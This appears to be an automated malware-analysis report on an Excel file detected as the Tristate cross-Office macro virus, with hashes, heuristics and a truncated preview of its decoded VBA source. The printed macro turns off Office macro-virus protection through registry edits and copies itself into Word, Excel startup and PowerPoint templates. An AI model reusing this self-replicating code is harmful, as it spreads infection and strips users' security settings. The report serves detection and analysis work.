Win.Trojan.Tristate-2 — Office (OLE) malware analysis

Static analysis result for SHA-256 38798479978e0238…

MALICIOUS

Office (OLE)

42.0 KB Created: 1999-05-19 07:59:26 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: 2174ae395681921a66447ccf9a71150d SHA-1: ba033f1f40526f9be5e1fea911776d85e883c669 SHA-256: 38798479978e02382f3b0bba421a633ffe4e472049ea31c2736e5468f3035a66
220 Risk Score

Malware Insights

Win.Trojan.Tristate-2 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate or Obfuscate Malicious Code

The sample is identified as Win.Trojan.Tristate-2 by ClamAV, indicating a known malicious family. The VBA macros contain CreateObject and GetObject calls, typical for downloading and executing second-stage payloads. The script attempts to modify registry keys related to Excel startup behavior, potentially for persistence or to facilitate payload execution. The macro code is obfuscated, but the intent appears to be the execution of malicious code.

Heuristics 4

  • ClamAV: Win.Trojan.Tristate-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Tristate-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11796 bytes
SHA-256: 7e91765ed2102d4afd0a14291b382a37d464581c2e15a68a21cfe29ee7256c16
Detection
ClamAV: Doc.Trojan.Tristate-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
'<!--1nternal-->
'Triplicate v0.21 /1nternal
Private Sub Document_Close()
    On Error Resume Next
    Options.VirusProtection = True
    Options.ConfirmConversions = True
    Options.SaveNormalPrompt = True
    Set NT = NormalTemplate.VBProject.VBComponents(1).CodeModule
    Set TT = Templates(1).VBProject.VBComponents(1).CodeModule
    Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule
    If AD.Lines(1, 1) <> "'<!--1nternal-->" Then
        AD.DeleteLines 1, AD.CountofLines
        AD.InsertLines 1, TT.Lines(1, TT.CountofLines)
        If AD.Lines(1, 1) <> "'<!--1nternal-->" Then
            AD.InsertLines 1, NT.Lines(1, NT.CountofLines)
        End If
    End If
    If NT.Lines(1, 1) <> "'<!--1nternal-->" Then
        NT.DeleteLines 1, NT.CountofLines
        NT.InsertLines 1, AD.Lines(1, AD.CountofLines)
        Set xlApp = CreateObject("Excel.Application")
        If UCase(Dir(xlApp.Application.StartupPath + "\Book1.")) <> UCase("BOOK1") Then
            System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Excel\Microsoft Excel", "Options6") = "Check"
            System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\8.0\New User Settings\Excel\Microsoft Excel", "Options6") = ""
            System.PrivateProfileString("", "HKEY_USERS\.Default\Software\Microsoft\Office\8.0\Excel\Microsoft Excel", "Options6") = "Whoa"
            Set Book1Obj = xlApp.Workbooks.Add
            Book1Obj.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 1, NT.Lines(1, NT.CountofLines)
            Book1Obj.SaveAs xlApp.Application.StartupPath & "\Book1."
            Book1Obj.Close
        End If
        xlApp.Quit
        Set PPObj = CreateObject("PowerPoint.Application")
        Set PBT = PPObj.Presentations.Open(Application.Path + "\..\Templates\Blank Presentation.pot", , , msoFalse)
        For Each ModComponent In PBT.VBProject.VBComponents
            If ModComponent.Name = "Triplicate" Then dontadd = True
        Next
        If dontadd <> True Then
            System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\PowerPoint\Options", "MacroVirusProtection") = ""
            System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\8.0\New User Settings\PowerPoint\Options", "MacroVirusProtection") = ""
            System.PrivateProfileString("", "HKEY_USERS\.Default\Software\Microsoft\Office\8.0\PowerPoint\Options", "MacroVirusProtection") = ""
            Set NewMod = PBT.VBProject.VBComponents.Add(1)
            NewMod.Name = "Triplicate"
            NewMod.CodeModule.InsertLines 1, NT.Lines(1, NT.CountofLines)
            NewMod.CodeModule.ReplaceLine 118, "Sub actionhook(tristate)"
            Set ShapetoWack = PBT.SlideMaster.Shapes.AddShape(1, 0, 0, PBT.PageSetup.SlideWidth, PBT.PageSetup.SlideHeight)
            With ShapetoWack
                .Name = "Triplicate"
                .ZOrder (1)
                .Line.Visible = False
                .Fill.Visible = False
                .ActionSettings(1).Action = 8
                .ActionSettings(1).Run = "actionhook"
            End With
            Set NewMod = Nothing
            PBT.Save
        End If
        PBT.Close
        PPObj.Quit
    End If
    If TT.Lines(1, 1) <> "'<!--1nternal-->" Then
        TT.DeleteLines 1, TT.CountofLines
        TT.InsertLines 1, NT.Lines(1, NT.CountofLines)
    End If
End Sub
Private Sub Workbook_Deactivate()
    On Error Resume Next
    Set AW = ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
    Set TW = ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
    If UCase(Dir(Application.StartupPath + "\Book1.")) <> "BOOK1" Then
        Set WordObj = GetObject(, "Wo
... (truncated)